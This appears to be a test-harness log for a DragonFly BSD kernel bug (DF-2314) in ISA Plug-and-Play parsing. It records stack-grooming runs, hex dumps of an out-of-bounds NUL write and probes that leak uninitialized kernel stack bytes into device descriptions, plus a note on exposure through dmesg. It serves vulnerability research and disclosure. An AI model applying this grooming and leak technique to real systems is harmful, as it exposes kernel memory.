=== DF-2314 BASELINE RUN (userland `sh run.sh`, root, PNPH harness kernel #5
    DragonFly 6.5-DEVELOPMENT #5: Sun Oct 18 15:58:28 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/PNPH)
=== kernel console (dmesg) lines of the same boot ===
PNPHARNESS-READY: pnp.c verbatim (TU-compiled) isa0=0xfffff80117c53494... /dev/pnph0
PNPH layout: sizeof(isa_config)=960 off ic_mem=0 ic_port=128 ic_irqmask=928 ic_drqmask=936 ic_nmem=944 ic_nport=948
PNPH layout: ic_port[50] at +928 (ic_irqmask[0]) ic_port[51] at +944 (ic_nmem)

--- scenario 3: sanity (normal ANSI tag, len 16, trailing spaces) ---
== scenario 3 (DF-2314 sanity (normal ANSI string)) rc=0
  desc len=14 child=(null)
  desc ascii: <LEGIT-DEV-NAME>
  desc hex  : 4c 45 47 49 54 2d 44 45 56 2d 4e 41 4d 45
PNPH 2314 sane: child=(null) desc=<LEGIT-DEV-NAME> len=14
    -> the rig drives the REAL pnp_create_devices + REAL device_set_desc_copy.

--- scenario 2: control (non-space 0x12 residue below buf) ---
== scenario 2 (DF-2314 control (non-space residue)) rc=0
  desc len=0 child=(null)
  desc ascii: <>
PNPH 2314 control: child=(null) desc len=0 desc=<>
    -> buf[-1] == 0x12 (not ' ') -> no walk -> buf[0]='\0' -> empty desc. No leak.

--- scenario 1: blind retry loop (65 groom phases) ---
== scenario 1 (DF-2314 walk (groomed 0x20 stack residue, len-0 ANSI)) rc=0
  tries=65 nul_found=1 nul at pad+8032 (kva 0xfffff80117e3f498; pad [0xfffff80117e3d538,0xfffff80117e3f538))
PNPH 2314 walk: OOB NUL-write candidates below buf: 1 (pad [..,..) first at pad+8032 kva 0xfffff80117e3f498)

--- scenario 10: smart (locate buf exactly, deterministic phase) ---
== scenario 10 rc=0
PNPH smart: buf located at pad+8044 kva 0xfffff80117c53494 (pad [0xfffff80117c51528,0xfffff80117c53528) top region starts +7168)
PNPH smart: chosen phase=0
PNPH smart control: desc len=0
PNPH smart walk: desc len=0 ascii=<>          <-- see VERDICT.md: immediate :411 call site anomaly
PNPH smart: isa0 children=3; last 4:
  child[0] unit=-1 name=<?> desc=<LEGIT-DEV-NAME>
  child[1] unit=-1 name=<?> desc=<>           (control: correct empty)
  child[2] unit=-1 name=<?> desc=<>           (walk run: see VERDICT.md)
PNPH smart: NUL-write signature at pad+8032 (12 bytes below buf[0] at pad+8044) kva 0xfffff80117c53488
    -> *** THE OOB NUL WRITE: 12 bytes BELOW buf[0], inside the frame ***
PNPH win ctrl [8020,8148):
  + 8020 0xfffff80117c5347c: 01 f8 ff ff 6c 35 c5 17
  + 8028 0xfffff80117c53484: 01 f8 ff ff 12 12 12 12
  + 8036 0xfffff80117c5348c: 12 12 12 12 12 12 12 12
  + 8044 0xfffff80117c53494: 00 12 12 12 12 12 12 12      <- buf[0]=0x00 written by buf[0]='\0'
  + 8052 0xfffff80117c5349c: 12 12 12 12 44 46 32 33
  + 8060 0xfffff80117c534a4: 31 34 00 11 12 12 12 12
  + 8068 0xfffff80117c534ac: 12 12 12 12 12 12 12 12
  ... (0x12 = untouched control groom; "44 46 32 33 31 34" = "DF2314" groom marker; 00 11 = block NUL/sentinel)
PNPH win walk [8020,8148):
  + 8020 0xfffff80117c5347c: 01 f8 ff ff 6c 35 c5 17
  + 8028 0xfffff80117c53484: 01 f8 ff ff 00 20 20 20      <- 0x00 = THE OOB NUL WRITE at buf[-12]
  + 8036 0xfffff80117c5348c: 20 20 20 20 20 20 20 20      <- the walk READ these 12 groomed spaces
  + 8044 0xfffff80117c53494: 20 20 20 20 20 20 20 20      <- buf[0..] UNTOUCHED (bcopy len 0)
  + 8052 0xfffff80117c5349c: 20 20 20 20 44 46 32 33      <- buf[12..17] = "DF2314" stack residue
  + 8060 0xfffff80117c534a4: 31 34 00 11 20 20 20 20      <- buf[18] = 0x00 (groom block NUL)
  + 8068 0xfffff80117c534ac: 20 20 20 20 20 20 20 20
  ...

--- probe 11: ANSI tag BEFORE the logical device (desc applied by the
    `if (desc)` call site at pnp.c:448-449 when the LD tag follows) ---
== scenario 11 rc=0
PNPH probe11 (ANSI-first): child desc=<            DF2314> len=18
    -> *** THE LEAK: 18 bytes of uninitialized kernel stack (12x0x20 + "DF2314"
       groom marker that exists NOWHERE in the crafted card stream) became the
       device description through the REAL device_set_desc_copy(). ***

--- probe 12: len-0 then len-16 on same dev (positive-exit call works) ---
PNPH probe12 (len0;len16): child desc=<QQQQUVWXYZ012345> len=16
--- probe 13: len-1 payload of one space (walk through the len>0 path) ---
PNPH probe13 (len1 space): child desc=<> len=0
--- probe 16: len-8 all-spaces payload ---
PNPH probe16 (len8 spaces): child desc=<> len=0
--- probe 17: len-0 walk + second LD tag ---
PNPH probe17 child[2] desc=<>                       (first dev: desc ""ed by pnpparse re-parse)
PNPH probe17 child[3] desc=<            DF2314>     <- leak again via the second LD's :449 site
--- probe 18: good 16-A desc then len-0 walk ---
PNPH probe18 (16 then len0): desc=<> len=0

--- unprivileged visibility (as user maxx) ---
devinfo -v shows the crafted isa children ("unknown" entries under isa0); DF's
devinfo(8) does not print device descriptions (verified against
/usr/src/usr.sbin/devinfo/devinfo.c - only rman dm_desc strings are printed).
The description print path on DragonFly is device_print_child():
sys/kern/subr_bus.c:2929-2930  `device_printf(child, "<%s>", device_get_desc(child))'
which fires for every device that gets probed/attached at boot - e.g. the same
boot's dmesg contains lines like:
    atkbd0: <AT Keyboard> irq 1 on atkbdc0
so a malicious card whose logical device binds any isa driver at real boot
prints the leaked stack residue into the world-readable dmesg buffer.